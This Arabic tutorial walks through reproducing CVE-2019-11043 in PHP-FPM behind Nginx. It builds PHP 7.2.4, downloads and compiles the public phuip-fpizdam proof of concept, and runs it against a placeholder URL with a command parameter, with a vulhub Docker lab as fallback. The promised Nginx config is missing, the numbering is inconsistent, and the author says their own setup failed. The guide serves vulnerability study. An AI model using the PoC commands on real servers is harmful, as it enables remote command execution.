cve-2019-11043

4. PoC المنشور على GitHub

github: https://github.com/neex/phuip-fpizdam

يستغل هذا PoC تحسينًا في متغير FastCGI _fcgi_data_seg، وهذا التحسين موجود فقط في PHP 7، لذا فإن الاستغلال المنشور يعمل فقط على PHP 7، أما على PHP 5 فيحتاج إلى استغلال آخر ليعمل.

5. إعادة إنتاج الثغرة

1. تكوين Nginx + PHP-FPM (PHP 7)

قم بتكوين البيئة، وإعداد nginx + php-fpm، ثم تحقق من أن العملية فعالة.

1. تنزيل PHP 7 وفك الضغط والدخول إلى المجلد

   root@kitploit:~

    wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
    tar -xzvf php-7.2.4.tar.gz
   

2. تثبيت حزم التبعية للضغط و SSL وما يتعلق بها

   root@kitploit:~

    yum install -y libxml2*
    yum install -y openssl*
    yum install -y libcurl*
    yum install -y libjpeg*
    yum install -y libpng*
    yum install -y freetype*
    yum install -y libmcrypt*
   

3. تكوين وترجمة الكود المصدري

   root@kitploit:~

    ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
   
    make & make install
   

4. تكوين php-fpm، إذا كان هناك عدة إصدارات PHP، يمكن تغيير المنفذ من 9000 إلى 9001

   root@kitploit:~

    تعديل ملف تكوين php-fpm:
    $ cd /usr/local/php/etc
    $ cp php-fpm.conf.default php-fpm.conf
    $ vi php-fpm.conf
    إزالة الفاصلة المنقوطة أمام pid = run/php-fpm.pid
    $ cd php-fpm.d
    $ cp www.conf.default www.conf  (تغيير المنفذ)
    $ vi www.conf
    تغيير المستخدم والمجموعة إلى مستخدم غير root
   

5. ./php-fpm

2. تكوين تحليل PHP المعرض للثغرة

أضف التكوين التالي في nginx.conf:

أعد تشغيل nginx

6. تثبيت Go وترجمة كود PoC

   root@kitploit:~

    go get github.com/neex/phuip-fpizdam (يتم تنزيل الملفات في مجلد src الخاص بـ go)
   
    go build github.com/neex/phuip-fpizdam (المسار الكامل، سيتم إنشاء ملف التشغيل في الدليل الحالي)
   

7. تشغيل PoC

   root@kitploit:~

    ./phuip-fpizdam http://website.com/index.php
    ./phuip-fpizdam http://website.com/index.php?a=command
   

[لسوء الحظ، هناك مشكلة في تكوين البيئة، فشل التحقق]

4. بيئة التحقق المتكاملة باستخدام Docker

الرابط الأصلي: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

1. تنزيل ملفات مشروع Docker

2. تشغيل حاوية Docker باستخدام docker-compose up -d

3. تشغيل البرنامج، يعرض نجاح التنفيذ، استخدام الثغرة لعرض نتيجة تنفيذ الأمر 'id'

4. إيقاف خدمة Docker docker ps docker stop id